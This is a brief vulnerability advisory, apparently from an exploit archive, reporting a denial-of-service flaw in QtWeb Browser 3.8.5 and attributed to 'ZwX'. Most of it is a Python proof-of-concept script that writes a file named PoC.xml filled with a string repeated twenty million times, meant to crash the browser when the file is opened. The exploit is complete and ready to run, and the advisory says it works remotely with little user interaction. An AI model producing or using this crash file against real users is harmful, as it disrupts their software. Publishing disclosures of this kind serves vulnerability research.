A Denial Of Service vulnerability has been discovered in the official QtWeb Browser v3.8.5 The browser’s web vulnerability can be exploited by remote attackers without a privileged user account and with low user interaction. Just create a file in (.xml) is the opening with the browser that will cause a Denial of Service.
(Copy of the Vendor Homepage: http://www.qtweb.net/ )
Date of Discovery:
Proof of Concept (PoC):
#!/usr/bin/python buff = "\x44\x6f\x53/" * 20000000 poc = buff file = open("PoC.xml","w") file.write(poc) file.close() print "POC Created by ZwX"